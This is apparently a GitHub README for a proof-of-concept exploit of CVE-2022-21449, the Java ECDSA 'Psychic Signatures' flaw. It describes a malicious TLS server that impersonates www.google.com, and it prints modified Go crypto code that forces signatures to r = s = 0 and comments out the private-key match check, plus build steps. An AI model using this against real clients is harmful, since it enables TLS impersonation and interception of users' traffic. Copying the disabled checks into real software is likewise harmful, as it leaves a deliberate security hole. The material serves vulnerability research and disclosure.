notkmhn/cve-2022-21449-tls-pocCVE-2022-21449 Proof of Concept demonstrating its usage with a client running on a vulnerable Java version and a malicious TLS server
CVE-2022-21449 (also dubbed Psychic Signatures in the vulnerability writeup by Neil Madden) Proof of Concept demonstrating its usage with a vulnerable client and a malicious TLS server.
The malicious server presents a valid (as of 2022-04-20) cert chain for www.google.com which has an ECDSA pub key (secp256r1). However, the crypto/ecdsa package has been modified to present an invalid signature with r = s = 0. The vulnerable client accepts this invalid signature, allowing the rest of the TLS handshake to continue.
Aside from the removed *_test.go files while building & exploration, these modifications to the golang crypto library were necessary for the malicious TLS server. They can also be found by searching/grepping for CVE-2022-21449 in the go/src directory.
Requires some existing golang installation as well as maven, then run ./build.sh.
Tested on Ubuntu 20.04.4 LTS (WSL2) with OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20)
https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4
In crypto/ecdsa/ecdsa.go, the function signGeneric was essentially modified to:
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
// SEC 1, Version 2.0, Section 4.1.3
// CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
r = new(big.Int)
s = new(big.Int)
return
}
And in crypto/tls/tls.go, the function X509KeyPair has been changed to disable verification checks that a given private key matches the X.509 certificate's public key for ECDSA public keys:
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
fail := func(err error) (Certificate, error) { return Certificate{}, err }
...
switch pub := x509Cert.PublicKey.(type) {
...
case *ecdsa.PublicKey:
// CVE-2022-21449: Modified checks away
_, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
if !ok {
return fail(errors.New("tls: private key type does not match public key type"))
}
/*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
return fail(errors.New("tls: private key does not match public key"))
}*/
...
}